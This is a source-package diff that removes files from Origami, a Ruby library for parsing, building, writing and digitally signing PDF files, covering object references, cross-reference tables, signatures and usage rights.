_object_:: The object to import. - # - def import(object) - self.insert(object.export) - end - - # - # Adds a new object to a specific revision. - # If this object has no version number, then a new one will be automatically computed and assignated to him. - # It returns a Reference to this Object. - # _object_:: The object to add. - # _revision_:: The revision to add the object to. - # - def add_to_revision(object, revision) - - object.set_indirect(true) - object.set_pdf(self) - - object.no, object.generation = alloc_new_object_number if object.no == 0 - - revision.body[object.reference] = object - - object.reference - end - - # - # Ends the current Revision, and starts a new one. - # - def add_new_revision - - root = @revisions.last.trailer[:Root] unless @revisions.empty? - - @revisions << Revision.new(self) - @revisions.last.trailer = Trailer.new - @revisions.last.trailer.Root = root - - self - end - - # - # Removes a whole document revision. - # _index_:: Revision index, first is 0. - # - def remove_revision(index) - if index < 0 or index > @revisions.size - raise IndexError, "Not a valid revision index" - end - - if @revisions.size == 1 - raise InvalidPDFError, "Cannot remove last revision" - end - - @revisions.delete_at(index) - self - end - - # - # Looking for an object present at a specified file offset. - # - def get_object_by_offset(offset) #:nodoc: - self.indirect_objects.find { |obj| obj.file_offset == offset } - end - - # - # Remove an object. - # - def delete_object(no, generation = 0) - - case no - when Reference - target = no - when ::Integer - target = Reference.new(no, generation) - else - raise TypeError, "Invalid parameter type : #{no.class}" - end - - @revisions.each do |rev| - rev.body.delete(target) - end - - end - - # - # Search for an indirect object in the document. - # _no_:: Reference or number of the object. - # _generation_:: Object generation. - # - def get_object(no, generation = 0, use_xrefstm = true) #:nodoc: - case no - when Reference - target = no - when ::Integer - target = Reference.new(no, generation) - when Origami::Object - return no - else - raise TypeError, "Invalid parameter type : #{no.class}" - end - - # - # Search through accessible indirect objects. - # - @revisions.each do |rev| - return rev.body[target] if rev.body.include?(target) - end - - # Look into XRef streams. - if use_xrefstm == true - - if @revisions.last.has_xrefstm? - xrefstm = @revisions.last.xrefstm - - done = [] - while xrefstm.is_a?(XRefStream) and not done.include?(xrefstm) - xref = xrefstm.find(target.refno) - - # - # We found a matching XRef. - # - if xref.is_a?(XRefToCompressedObj) - objstm = get_object(xref.objstmno, 0, false) - - object = objstm.extract_by_index(xref.index) - if object.is_a?(Origami::Object) and object.no == target.refno - return object - else - return objstm.extract(target.refno) - end - elsif xrefstm.has_field?(:Prev) - done << xrefstm - xrefstm = get_object_by_offset(xrefstm.Prev) - else - break - end - end - end - - # - # Lastly search directly into Object streams (might be very slow). - # - @revisions.each do |rev| - streams = rev.objects.find_all{|obj| obj.is_a?(ObjectStream) and obj.include?(target.refno)} - return streams.first.extract(target.refno) unless streams.empty? - end - - nil - end - - end - - alias :[] :get_object - - def cast_object(reference, type) #:nodoc: - @revisions.each do |rev| - if rev.body.include?(reference) and type < rev.body[reference].class - rev.body[reference] = rev.body[reference].cast_to(type) - end - end - end - - # - # Returns a new number/generation for future object. - # - def alloc_new_object_number - no = 1 - - # Deprecated number allocation policy (first available) - #no = no + 1 while get_object(no) - - objset = self.indirect_objects - self.indirect_objects.find_all{|obj| obj.is_a?(ObjectStream)}.each do |objstm| - objstm.each{|obj| objset << obj} - end - - allocated = objset.collect{|obj| obj.no}.compact - no = allocated.max + 1 unless allocated.empty? - - [ no, 0 ] - end - - ########################## - private - ########################## - - # - # Compute and update XRef::Section for each Revision. - # - def rebuildxrefs - - size = 0 - startxref = @header.to_s.size - - @revisions.each do |revision| - - revision.objects.each do |object| - startxref += object.to_s.size - end - - size += revision.body.size - revision.xreftable = buildxrefs(revision.objects) - - revision.trailer ||= Trailer.new - revision.trailer.Size = size + 1 - revision.trailer.startxref = startxref - - startxref += revision.xreftable.to_s.size + revision.trailer.to_s.size - end - - self - end - - # - # This method is meant to recompute, verify and correct main PDF structures, in order to output a proper file. - # * Allocates objects references. - # * Sets some objects missing required values. - # - def compile(options = {}) - - # - # A valid document must have at least one page. - # - append_page if pages.empty? - - # - # Allocates object numbers and creates references. - # Invokes object finalization methods. - # - if self.is_a?(Encryption::EncryptedDocument) - physicalize(options) - else - physicalize - end - - # - # Sets the PDF version header. - # - version, level = version_required - @header.majorversion = version[0,1].to_i - @header.minorversion = version[2,1].to_i - - set_extension_level(version, level) if level > 0 - - self - end - - # - # Cleans the document from its references. - # Indirects objects are made direct whenever possible. - # TODO: Circuit-checking to avoid infinite induction - # - def logicalize #:nodoc: - - fail "Not yet supported" - - processed = [] - - def convert(root) #:nodoc: - - replaced = [] - if root.is_a?(Dictionary) or root.is_a?(Array) - - root.each { |obj| - convert(obj) - } - - root.map! { |obj| - if obj.is_a?(Reference) - target = obj.solve - # Streams can't be direct objects - if target.is_a?(Stream) - obj - else - replaced << obj - target - end - else - obj - end - } - - end - - replaced - end - - @revisions.each do |revision| - revision.objects.each do |obj| - processed.concat(convert(obj)) - end - end - - end - - # - # Converts a logical PDF view into a physical view ready for writing. - # - def physicalize - - # - # Indirect objects are added to the revision and assigned numbers. - # - def build(obj, revision) #:nodoc: - - # - # Finalize any subobjects before building the stream. - # - if obj.is_a?(ObjectStream) - obj.each do |subobj| - build(subobj, revision) - end - end - - obj.pre_build - - if obj.is_a?(Dictionary) or obj.is_a?(Array) - - obj.map! do |subobj| - if subobj.is_indirect? - if get_object(subobj.reference) - subobj.reference - else - ref = add_to_revision(subobj, revision) - build(subobj, revision) - ref - end - else - subobj - end - end - - obj.each do |subobj| - build(subobj, revision) - end - - elsif obj.is_a?(Stream) - build(obj.dictionary, revision) - end - - obj.post_build - - end - - indirect_objects_by_rev.each do |obj, revision| - build(obj, revision) - end - - self - end - - # - # Returns the final binary representation of the current document. - # - def output(params = {}) - - has_objstm = self.indirect_objects.any?{|obj| obj.is_a?(ObjectStream)} - - options = - { - :rebuildxrefs => true, - :noindent => false, - :obfuscate => false, - :use_xrefstm => has_objstm, - :use_xreftable => (not has_objstm), - :up_to_revision => @revisions.size - } - options.update(params) - - options[:up_to_revision] = @revisions.size if options[:up_to_revision] > @revisions.size - - # Reset to default params if no xrefs are chosen (hybrid files not supported yet) - if options[:use_xrefstm] == options[:use_xreftable] - options[:use_xrefstm] = has_objstm - options[:use_xreftable] = (not has_objstm) - end - - # Get trailer dictionary - trailer_info = get_trailer_info - if trailer_info.nil? - raise InvalidPDFError, "No trailer information found" - end - trailer_dict = trailer_info.dictionary - - prev_xref_offset = nil - xrefstm_offset = nil - xreftable_offset = nil - - # Header - bin = "" - bin << @header.to_s - - # For each revision - @revisions[0, options[:up_to_revision]].each do |rev| - - # Create xref table/stream. - if options[:rebuildxrefs] == true - lastno_table, lastno_stm = 0, 0 - brange_table, brange_stm = 0, 0 - - xrefs_stm = [ XRef.new(0, 0, XRef::FREE) ] - xrefs_table = [ XRef.new(0, XRef::FIRSTFREE, XRef::FREE) ] - - if options[:use_xreftable] == true - xrefsection = XRef::Section.new - end - - if options[:use_xrefstm] == true - xrefstm = rev.xrefstm || XRefStream.new - if xrefstm == rev.xrefstm - xrefstm.clear - else - add_to_revision(xrefstm, rev) - end - end - end - - objset = rev.objects - - objset.find_all{|obj| obj.is_a?(ObjectStream)}.each do |objstm| - objset.concat objstm.objects - end if options[:rebuildxrefs] == true and options[:use_xrefstm] == true - - # For each object, in number order - objset.sort.each do |obj| - - # Create xref entry. - if options[:rebuildxrefs] == true - - # Adding subsections if needed - if options[:use_xreftable] and (obj.no - lastno_table).abs > 1 - xrefsection << XRef::Subsection.new(brange_table, xrefs_table) - - xrefs_table.clear - brange_table = obj.no - end - if options[:use_xrefstm] and (obj.no - lastno_stm).abs > 1 - xrefs_stm.each do |xref| xrefstm << xref end - xrefstm.Index ||= [] - xrefstm.Index << brange_stm << xrefs_stm.length - - xrefs_stm.clear - brange_stm = obj.no - end - - # Process embedded objects - if options[:use_xrefstm] and obj.parent != obj and obj.parent.is_a?(ObjectStream) - index = obj.parent.index(obj.no) - - xrefs_stm << XRefToCompressedObj.new(obj.parent.no, index) - - lastno_stm = obj.no - else - xrefs_stm << XRef.new(bin.size, obj.generation, XRef::USED) - xrefs_table << XRef.new(bin.size, obj.generation, XRef::USED) - - lastno_table = lastno_stm = obj.no - end - - end - - if obj.parent == obj or not obj.parent.is_a?(ObjectStream) - - # Finalize XRefStm - if options[:rebuildxrefs] == true and options[:use_xrefstm] == true and obj == xrefstm - xrefstm_offset = bin.size - - xrefs_stm.each do |xref| xrefstm << xref end - - xrefstm.W = [ 1, (xrefstm_offset.to_s(2).size + 7) >> 3, 2 ] - if xrefstm.DecodeParms.is_a?(Dictionary) and xrefstm.DecodeParms.has_key?(:Columns) - xrefstm.DecodeParms[:Columns] = xrefstm.W[0] + xrefstm.W[1] + xrefstm.W[2] - end - - xrefstm.Index ||= [] - xrefstm.Index << brange_stm << xrefs_stm.size - - xrefstm.dictionary = xrefstm.dictionary.merge(trailer_dict) - xrefstm.Prev = prev_xref_offset - rev.trailer.dictionary = nil - - add_to_revision(xrefstm, rev) - - xrefstm.pre_build - xrefstm.post_build - end - - # Output object code - if (obj.is_a?(Dictionary) or obj.is_a?(Stream)) and options[:noindent] - bin << obj.to_s(0) - else - bin << obj.to_s - end - end - end - - rev.trailer ||= Trailer.new - - # XRef table - if options[:rebuildxrefs] == true - - if options[:use_xreftable] == true - table_offset = bin.size - - xrefsection << XRef::Subsection.new(brange_table, xrefs_table) - rev.xreftable = xrefsection - - rev.trailer.dictionary = trailer_dict - rev.trailer.Size = objset.size + 1 - rev.trailer.Prev = prev_xref_offset - - rev.trailer.XRefStm = xrefstm_offset if options[:use_xrefstm] == true - end - - startxref = options[:use_xreftable] == true ? table_offset : xrefstm_offset - rev.trailer.startxref = prev_xref_offset = startxref - - end # end each rev - - # Trailer - bin << rev.xreftable.to_s if options[:use_xreftable] == true - bin << (options[:obfuscate] == true ? rev.trailer.to_obfuscated_str : rev.trailer.to_s) - - end - - bin - end - - # - # Instanciates basic structures required for a valid PDF file. - # - def init - catalog = (self.Catalog = (get_doc_attr(:Root) || Catalog.new)) - catalog.Pages = PageTreeNode.new.set_indirect(true) - @revisions.last.trailer.Root = catalog.reference - - self - end - - def filesize #:nodoc: - output(:rebuildxrefs => false).size - end - - def version_required #:nodoc: - - max = [ 1.0, 0 ] - @revisions.each { |revision| - revision.objects.each { |object| - current = object.pdf_version_required - max = current if (current <=> max) > 0 - } - } - max[0] = max[0].to_s - - max - end - - def indirect_objects_by_rev #:nodoc: - @revisions.inject([]) do |set,rev| - objset = rev.objects - set.concat(objset.zip(::Array.new(objset.length, rev))) - end - end - - # - # Compute and update XRef::Section for each Revision. - # - def rebuild_dummy_xrefs #:nodoc - - def build_dummy_xrefs(objects) - - lastno = 0 - brange = 0 - - xrefs = [ XRef.new(0, XRef::FIRSTFREE, XRef::FREE) ] - - xrefsection = XRef::Section.new - objects.sort.each { |object| - if (object.no - lastno).abs > 1 - xrefsection << XRef::Subsection.new(brange, xrefs) - brange = object.no - xrefs.clear - end - - xrefs << XRef.new(0, 0, XRef::FREE) - - lastno = object.no - } - - xrefsection << XRef::Subsection.new(brange, xrefs) - - xrefsection - end - - size = 0 - startxref = @header.to_s.size - - @revisions.each do |revision| - revision.objects.each do |object| - startxref += object.to_s.size - end - - size += revision.body.size - revision.xreftable = build_dummy_xrefs(revision.objects) - - revision.trailer ||= Trailer.new - revision.trailer.Size = size + 1 - revision.trailer.startxref = startxref - - startxref += revision.xreftable.to_s.size + revision.trailer.to_s.size - end - - self - end - - # - # Build a xref section from a set of objects. - # - def buildxrefs(objects) #:nodoc: - - lastno = 0 - brange = 0 - - xrefs = [ XRef.new(0, XRef::FIRSTFREE, XRef::FREE) ] - - xrefsection = XRef::Section.new - objects.sort.each { |object| - if (object.no - lastno).abs > 1 - xrefsection << XRef::Subsection.new(brange, xrefs) - brange = object.no - xrefs.clear - end - - xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED) - - lastno = object.no - } - - xrefsection << XRef::Subsection.new(brange, xrefs) - - xrefsection - end - - def delete_revision(ngen) #:nodoc: - @revisions.delete_at[ngen] - end - - def get_revision(ngen) #:nodoc: - @revisions[ngen].body - end - - def get_object_offset(no,generation) #:nodoc: - objectoffset = @header.to_s.size - - @revisions.each do |revision| - revision.objects.sort.each do |object| - if object.no == no and object.generation == generation then return objectoffset - else - objectoffset += object.to_s.size - end - end - - objectoffset += revision.xreftable.to_s.size - objectoffset += revision.trailer.to_s.size - end - - nil - end - - end - -end - diff -Nru origami-1.2.7/lib/origami/reference.rb origami-1.2.7+really0.7.4/lib/origami/reference.rb --- origami-1.2.7/lib/origami/reference.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/reference.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,116 +0,0 @@ -=begin - -= File - reference.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class InvalidReferenceError < Exception #:nodoc: - end - - # - # Class representing a Reference Object. - # Reference are like symbolic links pointing to a particular object into the file. - # - class Reference - - include Origami::Object - - TOKENS = [ "(\\d+)" + WHITESPACES + "(\\d+)" + WHITESPACES + "R" ] #:nodoc: - REGEXP_TOKEN = Regexp.new(TOKENS.first, Regexp::MULTILINE) - @@regexp = Regexp.new(WHITESPACES + TOKENS.first + WHITESPACES) - - attr_accessor :refno, :refgen - - def initialize(refno, refgen) - @refno, @refgen = refno, refgen - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if stream.scan(@@regexp).nil? - raise InvalidReferenceError, "Bad reference to indirect objet format" - end - - refno = stream[2].to_i - refgen = stream[4].to_i - - ref = Reference.new(refno,refgen) - ref.file_offset = offset - - ref - end - - def solve - pdfdoc = self.pdf - - if pdfdoc.nil? - raise InvalidReferenceError, "Not attached to any PDF" - end - - target = pdfdoc.get_object(self) - - if target.nil? and not Origami::OPTIONS[:ignore_bad_references] - raise InvalidReferenceError, "Cannot resolve reference : #{self.to_s}" - end - - target or Null.new - end - - def eql?(ref) #:nodoc - ref.is_a?(Reference) and ref.refno == @refno and ref.refgen == @refgen - end - - def hash #:nodoc: - self.to_a.hash - end - - def <=>(ref) #:nodoc - self.to_a <=> ref.to_a - end - - # - # Returns a Ruby array with the object number and the generation this reference is pointing to. - # - def to_a - [@refno, @refgen] - end - - def to_s #:nodoc: - super("#{@refno} #{@refgen} R") - end - - # - # Returns self. - # - def value - self - end - - def self.native_type ; Reference end - - end - -end diff -Nru origami-1.2.7/lib/origami/signature.rb origami-1.2.7+really0.7.4/lib/origami/signature.rb --- origami-1.2.7/lib/origami/signature.rb 2013-05-03 11:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/signature.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,643 +0,0 @@ -=begin - -= File - signature.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'openssl' if Origami::OPTIONS[:use_openssl] -rescue LoadError - Origami::OPTIONS[:use_openssl] = false -end - -require 'digest/sha1' - -module Origami - - class PDF - - class SignatureError < Exception #:nodoc: - end - - # - # Verify a document signature. - # Options: - # _:trusted_: an array of trusted X509 certificates. - # If no argument is passed, embedded certificates are treated as trusted. - # - def verify(options = {}) - - unless Origami::OPTIONS[:use_openssl] - fail "OpenSSL is not present or has been disabled." - end - - params = - { - :trusted => [] - }.update(options) - - digsig = self.signature - - unless digsig[:Contents].is_a?(String) - raise SignatureError, "Invalid digital signature contents" - end - - store = OpenSSL::X509::Store.new - params[:trusted].each do |ca| store.add_cert(ca) end - flags = 0 - flags |= OpenSSL::PKCS7::NOVERIFY if params[:trusted].empty? - - stream = StringScanner.new(self.original_data) - stream.pos = digsig[:Contents].file_offset - Object.typeof(stream).parse(stream) - endofsig_offset = stream.pos - stream.terminate - - s1,l1,s2,l2 = digsig.ByteRange - if s1.value != 0 or - (s2.value + l2.value) != self.original_data.size or - (s1.value + l1.value) != digsig[:Contents].file_offset or - s2.value != endofsig_offset - - raise SignatureError, "Invalid signature byte range" - end - - data = self.original_data[s1,l1] + self.original_data[s2,l2] - - case digsig.SubFilter.value.to_s - when 'adbe.pkcs7.detached' - flags |= OpenSSL::PKCS7::DETACHED - p7 = OpenSSL::PKCS7.new(digsig[:Contents].value) - raise SignatureError, "Not a PKCS7 detached signature" unless p7.detached? - p7.verify([], store, data, flags) - - when 'adbe.pkcs7.sha1' - p7 = OpenSSL::PKCS7.new(digsig[:Contents].value) - p7.verify([], store, nil, flags) and p7.data == Digest::SHA1.digest(data) - - else - raise NotImplementedError, "Unsupported method #{digsig.SubFilter}" - end - end - - # - # Sign the document with the given key and x509 certificate. - # _certificate_:: The X509 certificate containing the public key. - # _key_:: The private key associated with the certificate. - # _ca_:: Optional CA certificates used to sign the user certificate. - # - def sign(certificate, key, options = {}) - - unless Origami::OPTIONS[:use_openssl] - fail "OpenSSL is not present or has been disabled." - end - - params = - { - :method => "adbe.pkcs7.detached", - :ca => [], - :annotation => nil, - :location => nil, - :contact => nil, - :reason => nil - }.update(options) - - unless certificate.is_a?(OpenSSL::X509::Certificate) - raise TypeError, "A OpenSSL::X509::Certificate object must be passed." - end - - unless key.is_a?(OpenSSL::PKey::RSA) - raise TypeError, "A OpenSSL::PKey::RSA object must be passed." - end - - ca = params[:ca] - unless ca.is_a?(::Array) - raise TypeError, "Expected an Array of CA certificate." - end - - annotation = params[:annotation] - unless annotation.nil? or annotation.is_a?(Annotation::Widget::Signature) - raise TypeError, "Expected a Annotation::Widget::Signature object." - end - - case params[:method] - when 'adbe.pkcs7.detached' - signfield_size = lambda{|crt,key,ca| - datatest = "abcdefghijklmnopqrstuvwxyz" - OpenSSL::PKCS7.sign( - crt, - key, - datatest, - ca, - OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY - ).to_der.size + 128 - } - when 'adbe.pkcs7.sha1' - signfield_size = lambda{|crt,key,ca| - datatest = "abcdefghijklmnopqrstuvwxyz" - OpenSSL::PKCS7.sign( - crt, - key, - Digest::SHA1.digest(datatest), - ca, - OpenSSL::PKCS7::BINARY - ).to_der.size + 128 - } - - when 'adbe.x509.rsa_sha1' - signfield_size = lambda{|crt,key,ca| - datatest = "abcdefghijklmnopqrstuvwxyz" - key.private_encrypt( - Digest::SHA1.digest(datatest) - ).size + 128 - } - raise NotImplementedError, "Unsupported method #{params[:method].inspect}" - - else - raise NotImplementedError, "Unsupported method #{params[:method].inspect}" - end - - digsig = Signature::DigitalSignature.new.set_indirect(true) - - if annotation.nil? - annotation = Annotation::Widget::Signature.new - annotation.Rect = Rectangle[:llx => 0.0, :lly => 0.0, :urx => 0.0, :ury => 0.0] - end - - annotation.V = digsig - add_fields(annotation) - self.Catalog.AcroForm.SigFlags = - InteractiveForm::SigFlags::SIGNATURESEXIST | InteractiveForm::SigFlags::APPENDONLY - - digsig.Type = :Sig #:nodoc: - digsig.Contents = HexaString.new("\x00" * signfield_size[certificate, key, ca]) #:nodoc: - digsig.Filter = Name.new("Adobe.PPKMS") #:nodoc: - digsig.SubFilter = Name.new(params[:method]) #:nodoc: - digsig.ByteRange = [0, 0, 0, 0] #:nodoc: - - digsig.Location = HexaString.new(params[:location]) if params[:location] - digsig.ContactInfo = HexaString.new(params[:contact]) if params[:contact] - digsig.Reason = HexaString.new(params[:reason]) if params[:reason] - - if params[:method] == 'adbe.x509.rsa_sha1' - digsig.Cert = - if ca.empty? - HexaString.new(certificate.to_der) - else - [ HexaString.new(certificate.to_der) ] + ca.map{ |crt| HexaString.new(crt.to_der) } - end - end - - # - # Flattening the PDF to get file view. - # - compile - - # - # Creating an empty Xref table to compute signature byte range. - # - rebuild_dummy_xrefs - - sigoffset = get_object_offset(digsig.no, digsig.generation) + digsig.sigOffset - - digsig.ByteRange[0] = 0 - digsig.ByteRange[1] = sigoffset - digsig.ByteRange[2] = sigoffset + digsig.Contents.size - - digsig.ByteRange[3] = filesize - digsig.ByteRange[2] until digsig.ByteRange[3] == filesize - digsig.ByteRange[2] - - # From that point the file size remains constant - - # - # Correct Xrefs variations caused by ByteRange modifications. - # - rebuildxrefs - - filedata = output() - signable_data = filedata[digsig.ByteRange[0],digsig.ByteRange[1]] + filedata[digsig.ByteRange[2],digsig.ByteRange[3]] - - signature = - case params[:method] - when 'adbe.pkcs7.detached' - OpenSSL::PKCS7.sign( - certificate, - key, - signable_data, - ca, - OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY - ).to_der - - when 'adbe.pkcs7.sha1' - OpenSSL::PKCS7.sign( - certificate, - key, - Digest::SHA1.digest(signable_data), - ca, - OpenSSL::PKCS7::BINARY - ).to_der - - when 'adbe.x509.rsa_sha1' - key.private_encrypt(Digest::SHA1.digest(signable_data)) - end - - digsig.Contents[0, signature.size] = signature - - # - # No more modification are allowed after signing. - # - self.freeze - end - - # - # Returns whether the document contains a digital signature. - # - def is_signed? - begin - self.Catalog.AcroForm.is_a?(Dictionary) and - self.Catalog.AcroForm.has_key?(:SigFlags) and - (self.Catalog.AcroForm.SigFlags & InteractiveForm::SigFlags::SIGNATURESEXIST != 0) - rescue InvalidReferenceError - false - end - end - - # - # Enable the document Usage Rights. - # _rights_:: list of rights defined in UsageRights::Rights - # - def enable_usage_rights(cert, pkey, *rights) - - unless Origami::OPTIONS[:use_openssl] - fail "OpenSSL is not present or has been disabled." - end - - signfield_size = lambda{|crt, key, ca| - datatest = "abcdefghijklmnopqrstuvwxyz" - OpenSSL::PKCS7.sign(crt, key, datatest, ca, OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY).to_der.size + 128 - } - - # - # Load key pair - # - key = pkey.is_a?(OpenSSL::PKey::RSA) ? pkey : OpenSSL::PKey::RSA.new(pkey) - certificate = cert.is_a?(OpenSSL::X509::Certificate) ? cert : OpenSSL::X509::Certificate.new(cert) - - # - # Forge digital signature dictionary - # - digsig = Signature::DigitalSignature.new.set_indirect(true) - - self.Catalog.AcroForm ||= InteractiveForm.new - #self.Catalog.AcroForm.SigFlags = InteractiveForm::SigFlags::APPENDONLY - - digsig.Type = :Sig #:nodoc: - digsig.Contents = HexaString.new("\x00" * signfield_size[certificate, key, []]) #:nodoc: - digsig.Filter = Name.new("Adobe.PPKLite") #:nodoc: - digsig.Name = "ARE Acrobat Product v8.0 P23 0002337" #:nodoc: - digsig.SubFilter = Name.new("adbe.pkcs7.detached") #:nodoc: - digsig.ByteRange = [0, 0, 0, 0] #:nodoc: - - sigref = Signature::Reference.new #:nodoc: - sigref.Type = :SigRef #:nodoc: - sigref.TransformMethod = :UR3 #:nodoc: - sigref.Data = self.Catalog - - sigref.TransformParams = UsageRights::TransformParams.new - sigref.TransformParams.P = true #:nodoc: - sigref.TransformParams.Type = :TransformParams #:nodoc: - sigref.TransformParams.V = UsageRights::TransformParams::VERSION - - rights.each do |right| - sigref.TransformParams[right.first] ||= [] - sigref.TransformParams[right.first].concat(right[1..-1]) - end - - digsig.Reference = [ sigref ] - - self.Catalog.Perms ||= Perms.new - self.Catalog.Perms.UR3 = digsig - - # - # Flattening the PDF to get file view. - # - compile - - # - # Creating an empty Xref table to compute signature byte range. - # - rebuild_dummy_xrefs - - sigoffset = get_object_offset(digsig.no, digsig.generation) + digsig.sigOffset - - digsig.ByteRange[0] = 0 - digsig.ByteRange[1] = sigoffset - digsig.ByteRange[2] = sigoffset + digsig.Contents.size - - digsig.ByteRange[3] = filesize - digsig.ByteRange[2] until digsig.ByteRange[3] == filesize - digsig.ByteRange[2] - - # From that point the file size remains constant - - # - # Correct Xrefs variations caused by ByteRange modifications. - # - rebuildxrefs - - filedata = output() - signable_data = filedata[digsig.ByteRange[0],digsig.ByteRange[1]] + filedata[digsig.ByteRange[2],digsig.ByteRange[3]] - - signature = OpenSSL::PKCS7.sign(certificate, key, signable_data, [], OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY).to_der - digsig.Contents[0, signature.size] = signature - - # - # No more modification are allowed after signing. - # - self.freeze - - end - - def has_usage_rights? - not self.Catalog.Perms.nil? and (not self.Catalog.Perms.has_key?(:UR3) or not self.Catalog.Perms.has_key?(:UR)) - end - - def signature - raise SignatureError, "Not a signed document" unless self.is_signed? - - self.each_field do |field| - if field.FT == :Sig and field.V.is_a?(Dictionary) - return field.V - end - end - - raise SignatureError, "Cannot find digital signature" - end - - end - - class Perms < Dictionary - - include StandardObject - - field :DocMDP, :Type => Dictionary - field :UR, :Type => Dictionary - field :UR3, :Type => Dictionary, :Version => "1.6" - - end - - module Signature - - # - # Class representing a digital signature. - # - class DigitalSignature < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :Sig - field :Filter, :Type => Name, :Default => "Adobe.PPKMS".to_sym, :Required => true - field :SubFilter, :Type => Name - field :Contents, :Type => String, :Required => true - field :Cert, :Type => [ Array, String ] - field :ByteRange, :Type => Array - field :Reference, :Type => Array, :Version => "1.5" - field :Changes, :Type => Array - field :Name, :Type => String - field :M, :Type => String - field :Location, :Type => String - field :Reason, :Type => String - field :ContactInfo, :Type => String - field :R, :Type => Integer - field :V, :Type => Integer, :Default => 0, :Version => "1.5" - field :Prop_Build, :Type => Dictionary, :Version => "1.5" - field :Prop_AuthTime, :Type => Integer, :Version => "1.5" - field :Prop_AuthType, :Type => Name, :Version => "1.5" - - def pre_build #:nodoc: - self.M = Origami::Date.now - self.Prop_Build ||= BuildProperties.new.pre_build - - super - end - - def to_s(dummy_param = nil) #:nodoc: - indent = 1 - pairs = self.to_a - content = TOKENS.first + EOL - - pairs.sort_by{ |k| k.to_s }.reverse.each do |pair| - key, value = pair[0].to_o, pair[1].to_o - - content << "\t" * indent + key.to_s + " " + (value.is_a?(Dictionary) ? value.to_s(indent + 1) : value.to_s) + EOL - end - - content << "\t" * (indent - 1) + TOKENS.last - - output(content) - end - - def sigOffset #:nodoc: - base = 1 - pairs = self.to_a - content = "#{no} #{generation} obj" + EOL + TOKENS.first + EOL - - pairs.sort_by{ |k| k.to_s }.reverse.each do |pair| - key, value = pair[0].to_o, pair[1].to_o - - if key == :Contents - content << "\t" * base + key.to_s + " " - - return content.size - else - content << "\t" * base + key.to_s + " " + (value.is_a?(Dictionary) ? value.to_s(base+1) : value.to_s) + EOL - end - end - - nil - end - - end - - # - # Class representing a signature which can be embedded in DigitalSignature dictionary. - # It must be a direct object. - # - class Reference < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :SigRef - field :TransformMethod, :Type => Name, :Default => :DocMDP, :Required => true - field :TransformParams, :Type => Dictionary - field :Data, :Type => Object - field :DigestMethod, :Type => Name, :Default => :MD5 - field :DigestValue, :Type => String - field :DigestLocation, :Type => Array - - def initialize(hash = {}) - set_indirect(false) - - super(hash) - end - end - - class BuildProperties < Dictionary - - include StandardObject - - field :Filter, :Type => Dictionary, :Version => "1.5" - field :PubSec, :Type => Dictionary, :Version => "1.5" - field :App, :Type => Dictionary, :Version => "1.5" - field :SigQ, :Type => Dictionary, :Version => "1.7" - - def initialize(hash = {}) - set_indirect(false) - - super(hash) - end - - def pre_build #:nodoc: - - self.Filter ||= BuildData.new - self.Filter.Name ||= Name.new("Adobe.PPKMS") - self.Filter.R ||= 0x2001D - self.Filter.Date ||= Time.now.to_s - - self.SigQ ||= SigQData.new - self.SigQ.Preview ||= false - self.SigQ.R ||= 0x2001D - - self.PubSec ||= BuildData.new - self.PubSec.NonEFontNoWarn ||= false - self.PubSec.Date ||= Time.now.to_s - self.PubSec.R ||= 0x2001D - - self.App ||= AppData.new - self.App.TrustedMode ||= false - self.App.OS ||= [ :Win ] - self.App.R ||= 0x70000 - self.App.Name ||= Name.new("Exchange-Pro") - - super - end - - end - - class BuildData < Dictionary - - include StandardObject - - field :Name, :Type => Name, :Version => "1.5" - field :Date, :Type => String, :Version => "1.5" - field :R, :Type => Number, :Version => "1.5" - field :PreRelease, :Type => Boolean, :Default => false, :Version => "1.5" - field :OS, :Type => Array, :Version => "1.5" - field :NonEFontNoWarn, :Type => Boolean, :Version => "1.5" - field :TrustedMode, :Type => Boolean, :Version => "1.5" - field :V, :Type => Number, :Version => "1.5" - - def initialize(hash = {}) - set_indirect(false) - - super(hash) - end - - end - - class AppData < BuildData - field :REx, :Type => String, :Version => "1.6" - end - - class SigQData < BuildData - field :Preview, :Type => Boolean, :Default => false, :Version => "1.7" - end - - end - - module UsageRights - - module Rights - - DOCUMENT_FULLSAVE = [:Document, :FullSave] - DOCUMENT_ALL = DOCUMENT_FULLSAVE - - ANNOTS_CREATE = [:Annots, :Create] - ANNOTS_DELETE = [:Annots, :Delete] - ANNOTS_MODIFY = [:Annots, :Modify] - ANNOTS_COPY = [:Annots, :Copy] - ANNOTS_IMPORT = [:Annots, :Import] - ANNOTS_EXPORT = [:Annots, :Export] - ANNOTS_ONLINE = [:Annots, :Online] - ANNOTS_SUMMARYVIEW = [:Annots, :SummaryView] - ANNOTS_ALL = [ :Annots, :Create, :Modify, :Copy, :Import, :Export, :Online, :SummaryView ] - - FORM_FILLIN = [:Form, :FillIn] - 